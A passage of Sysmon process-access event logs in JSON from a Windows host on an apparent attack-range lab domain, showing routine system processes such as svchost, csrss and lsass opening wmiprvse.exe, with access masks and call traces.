{90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.297\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2368\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.297","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2368","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 